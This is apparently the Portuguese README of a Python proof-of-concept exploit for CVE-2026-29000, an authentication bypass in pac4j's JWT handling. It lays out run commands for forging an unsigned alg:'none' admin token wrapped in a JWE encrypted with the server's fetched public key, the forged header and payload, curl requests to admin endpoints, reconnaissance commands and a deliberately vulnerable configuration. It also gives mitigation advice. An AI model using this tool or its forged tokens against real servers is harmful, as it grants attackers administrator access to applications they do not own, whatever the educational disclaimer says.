
POC em Python, Exploit para CVE-2026-29000
Prova de Conceito para CVE-2026-29000 - Uma vulnerabilidade crítica de bypass de autenticação na implementação JWT do pac4j que permite a atacantes forjar tokens de administrador sem uma assinatura válida.
Esta ferramenta é fornecida apenas para fins educacionais e de teste de segurança autorizado. O autor NÃO assume nenhuma responsabilidade por qualquer uso indevido, dano ou uso ilegal deste exploit.
Esta vulnerabilidade explora uma falha no mecanismo de autenticação JWT do pac4j onde a biblioteca:
alg: "none" no cabeçalho JWTUm atacante pode forjar um JWT não assinado com claims arbitrários (como role: "ROLE_ADMIN"), criptografá-lo em um contêiner JWE usando a chave pública do servidor e obter acesso não autorizado a funcionalidades de administrador.
Para que este exploit tenha sucesso, o servidor alvo deve atender a TODAS as seguintes condições:
O servidor deve expor suas chaves públicas através de um destes endpoints:
/.well-known/jwks.json (endpoint OAuth/OIDC padrão)/api/auth/jwks (endpoint personalizado)Por quê: O exploit busca automaticamente a chave pública do servidor para criptografar o token JWE forjado.
role no JWTO servidor deve:
role no payload JWTROLE_ADMIN)Perfis Comuns:
ROLE_ADMIN - Acesso administrativo completoROLE_USER - Acesso de usuário padrãoO servidor deve:
A aplicação deve usar pac4j com:
"none" ou validação inadequada de algoritmorequests, jwcrypto# Clone o repositório
git clone https://github.com/yourusername/CVE-2026-29000.git
cd CVE-2026-29000
# Instale as dependências
pip install -r requirements.txt
requests>=2.28.0
jwcrypto>=1.4.0
python3 exploit.py <TARGET_URL>
Exemplo:
python3 exploit.py http://vulnerable-app.local:8080
O script irá:
role: "ROLE_ADMIN"python3 exploit.py http://vulnerable-app.local:8080 --username john
python3 exploit.py http://vulnerable-app.local:8080 --role ROLE_MODERATOR
Se o endpoint JWKS não estiver acessível publicamente, forneça o JWK manualmente:
python3 exploit.py http://vulnerable-app.local:8080 \
--jwk '{"keys":[{"kty":"RSA","n":"...","e":"AQAB"}]}'
python3 exploit.py http://vulnerable-app.local:8080 \
--username hacker \
--role ROLE_ADMIN \
--jwk '{"keys":[{...}]}'
O exploit gera um token JWE no seguinte formato:
Authorization: Bearer eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMTI4R0NNIiwia2lkIjoiZW5jLWtleS0xIiwiY3R5IjoiSldUIn0...
Use o token em requisições HTTP para acessar endpoints protegidos:
# Usando curl
curl -H "Authorization: Bearer <JWE_TOKEN>" \
http://vulnerable-app.local:8080/api/admin/dashboard
# Usando Python requests
import requests
headers = {"Authorization": f"Bearer {jwe_token}"}
response = requests.get("http://vulnerable-app.local:8080/api/admin", headers=headers)
curl -H "Authorization: Bearer eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMTI4R0NNIiwia2lkIjoiZW5jLWtleS0xIiwiY3R5IjoiSldUIn0..." \
http://vulnerable-app.local:8080/api/users/list
header = {"alg": "none", "type": "JWT"}
payload = {
"sub": "admin", # Nome de usuário
"role": "ROLE_ADMIN", # Nível de privilégio
"iss": "principal-platform", # Emissor
"iat": 1234567890, # Emitido em
"exp": 1234571490 # Expiração (1 hora)
}
O JWT é criado sem assinatura (alg: "none"), o que normalmente é inválido, mas aceito por servidores vulneráveis.
O exploit consulta:
/.well-known/jwks.json (padrão OAuth/OIDC)/api/auth/jwks (endpoint personalizado)Isso recupera a chave pública RSA do servidor necessária para a criptografia.
O JWT não assinado é criptografado usando:
Isso cria um token JWE que o servidor pode descriptografar, mas não verificará a assinatura interna.
O token JWE é incluído no cabeçalho Authorization:
Authorization: Bearer <JWE_TOKEN>
O servidor vulnerável descriptografa e extrai o JWT não assinado, confiando nos claims sem verificar a assinatura.
JWT não assinado (alg:none)
↓
Encapsulado em JWE (com chave pública do servidor)
↓
Servidor recebe token JWE
↓
Servidor descriptografa JWE
↓
Extrai JWT interno não assinado
↓
❌ Servidor NÃO verifica a assinatura
↓
✅ Aceita claims como válidos (role: ROLE_ADMIN)
↓
Atacante tem acesso de administrador!
Exposição do Endpoint JWKS
/.well-known/jwks.json ou /api/auth/jwks está acessível publicamenteLogs de Validação JWT
alg: "none"Revisão de Configuração
# Reconhecimento
curl -s http://target:8080/.well-known/jwks.json | jq .
curl -s http://target:8080/api/auth/jwks | jq .
# Verificar se tokens JWE são aceitos
curl -H "Authorization: Bearer eyJ..." http://target:8080/api/protected
Forçar Verificação de Assinatura
// RUIM - Aceita tokens não assinados
JwtAuthenticator jwt = new JwtAuthenticator();
jwt.setAlgorithm(null); // ❌ Vulnerável
// BOM - Exige assinatura válida
JwtAuthenticator jwt = new JwtAuthenticator(publicKey);
jwt.setAlgorithmsAllowedForSigning(Arrays.asList("RS256")); // ✅ Seguro
Validar Algoritmo JWT
alg: "none"Desabilitar JWE se Não Necessário
Atualizar pac4j
Adicionar Camadas de Validação de Token
exp)iss)Restringir Acesso ao Endpoint JWKS
location /.well-known/jwks.json {
allow 10.0.0.0/8; # Apenas redes internas
deny all;
}
Monitorar Logs de Autenticação
alg: "none"Segmentação de Rede
Auditorias de Segurança Regulares
@Configuration
public class SecurityConfig {
@Bean
public JwtAuthenticator jwtAuthenticator() {
JwtAuthenticator authenticator = new JwtAuthenticator();
// ❌ VULNERÁVEL: Sem verificação de assinatura
authenticator.setAlgorithmsAllowedForSigning(null);
authenticator.setJwtClaimsValidation(false);
return authenticator;
}
@Bean
public JWEEncrypter encrypter() {
// Aceita JWE mas não verifica JWT interno
return new JWEEncrypter();
}
}
Este exploit é fornecido apenas para fins educacionais e de teste de segurança autorizado.
O acesso não autorizado a sistemas de computador é ilegal. Esta ferramenta deve ser usada apenas em:
Os autores não são responsáveis por uso indevido ou danos causados por esta ferramenta.
Licença MIT - Consulte o arquivo LICENSE para obter detalhes
Encontrou um bug? Tem melhorias?
git checkout -b feature/improvement)git commit -m 'Adicionar melhoria')git push origin feature/improvement)Para problemas, perguntas ou sugestões:
Última Atualização: Maio de 2026
Autor: Equipe de Pesquisa em Segurança
Status: PoC Educacional